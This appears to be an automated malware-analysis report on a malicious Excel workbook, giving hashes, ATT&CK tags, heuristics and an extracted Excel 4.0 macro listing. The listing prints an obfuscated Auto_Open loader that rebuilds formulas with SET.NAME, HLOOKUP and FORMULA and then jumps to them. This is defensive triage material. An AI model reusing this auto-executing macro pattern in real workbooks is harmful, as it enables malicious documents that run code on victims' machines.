Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3180e86525163e40…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:33:43 Authoring application: Microsoft Excel First seen: 2021-09-13
MD5: d0ce5dd62e1e54a7040e4ff79c4150c6 SHA-1: c6e3181789132efb089bbd6f5fa994a96d92a602 SHA-256: 3180e86525163e40f78310c0830e0c7af7d2bb5f70c166638522d7a3719ce21a
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open defined name, which is a critical finding. This indicates the macro will execute automatically when the workbook is opened. The presence of dangerous formula APIs like RUN suggests the macro is designed to execute arbitrary code, likely downloading and running a second-stage payload. No specific family could be identified.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6563 bytes
SHA-256: b999b196b5b27bcf3cf03a6e6886720820260167a525bbb0a8275a2120519964
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  QeSXXmH
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H171 
' 0018     21 LABEL : Cell Value, String Constant - BkZKQV len=0 
' 0018     20 LABEL : Cell Value, String Constant - iLdmg len=0 
' 0018     26 LABEL : Cell Value, String Constant - JKVNMlEJpnu len=0 
' 0018     23 LABEL : Cell Value, String Constant - JrxmBGzO len=0 
' 0018     22 LABEL : Cell Value, String Constant - KpnAocD len=0 
' 0018     21 LABEL : Cell Value, String Constant - KuceNH len=0 
' 0018     25 LABEL : Cell Value, String Constant - KYLfwRHqwt len=0 
' 0018     26 LABEL : Cell Value, String Constant - LBAQKwqwxyQ len=0 
' 0018     21 LABEL : Cell Value, String Constant - OQaYJb len=0 
' 0018     25 LABEL : Cell Value, String Constant - oZJoXHSsQS len=0 
' 0018     22 LABEL : Cell Value, String Constant - pxUWuEI len=0 
' 0018     26 LABEL : Cell Value, String Constant - qXyAITfZRIQ len=0 
' 0018     21 LABEL : Cell Value, String Constant - rbzTho len=0 
' 0018     23 LABEL : Cell Value, String Constant - SozfIYix len=0 
' 0018     22 LABEL : Cell Value, String Constant - TExyZCr len=0 
' 0018     20 LABEL : Cell Value, String Constant - tOYhe len=0 
' 0018     20 LABEL : Cell Value, String Constant - uGWnh len=0 
' 0018     27 LABEL : Cell Value, String Constant - vBPxSQeJCRaj len=0 
' 0018     27 LABEL : Cell Value, String Constant - wIdVMVeWhvGn len=0 
' 0018     20 LABEL : Cell Value, String Constant - Zkdqp len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  QeSXXmH,H80,"SET.NAME("qXyAITfZRIQ",VALUE("0"))",""
'  QeSXXmH,H83,"SET.NAME("pxUWuEI",qXyAITfZRIQ)",""
'  QeSXXmH,H88,"SET.NAME("wIdVMVeWhvGn",qXyAITfZRIQ)",""
'  QeSXXmH,H92,"SET.NAME("vBPxSQeJCRaj",COUNTA(KYLfwRHqwt))",""
'  QeSXXmH,H97,"SET.NAME("KpnAocD",COUNTA(LBAQKwqwxyQ))",""
'  QeSXXmH,H100,[],""
'  QeSXXmH,H105,"SET.NAME("JKVNMlEJpnu","")",""
'  QeSXXmH,H109,"pxUWuEI",""
'  QeSXXmH,H114,"SET.NAME("tOYhe",HLOOKUP("*",KYLfwRHqwt,pxUWuEI,FALSE))",""
'  QeSXXmH,H118,"rbzTho",""
'  QeSXXmH,H121,"SET.NAME("JrxmBGzO",qXyAITfZRIQ)",""
'  QeSXXmH,H124,[],""
'  QeSXXmH,H126,"JrxmBGzO",""
'  QeSXXmH,H131,"OQaYJb",""
'  QeSXXmH,H133,"BkZKQV",""
'  QeSXXmH,H138,"SozfIYix",""
'  QeSXXmH,H141,"SET.NAME("KuceNH",VALUE(HLOOKUP("*",LBAQKwqwxyQ,SozfIYix,FALSE)))",""
'  QeSXXmH,H143,"iLdmg",""
'  QeSXXmH,H147,"JKVNMlEJpnu",""
'  QeSXXmH,H149,"wIdVMVeWhvGn",""
'  QeSXXmH,H151,NEXT(),""
'  QeSXXmH,H154,"oZJoXHSsQS",""
'  QeSXXmH,H157,"SET.NAME("f",INT(T(FORMULA(T(JKVNMlEJpnu)&"",""&T(oZJoXHSsQS)))))",""
'  QeSXXmH,H160,"Zkdqp",""
'  QeSXXmH,H163,NEXT(),""
'  QeSXXmH,H168,RETURN(),""
'  QeSXXmH,H193,"SET.NAME("TExyZCr",H80)",""
'  QeSXXmH,H197,"KYLfwRHqwt",""
'  QeSXXmH,H200,"SET.NAME("LBAQKwqwxyQ",R51C12)",""
'  QeSXXmH,H205,"SET.NAME("Zkdqp",212)",""
'  QeSXXmH,H207,"SET.NAME("uGWnh",8)",""
'  QeSXXmH,H211,TExyZCr(),""
'  QeSXXmH,H212,HALT(),""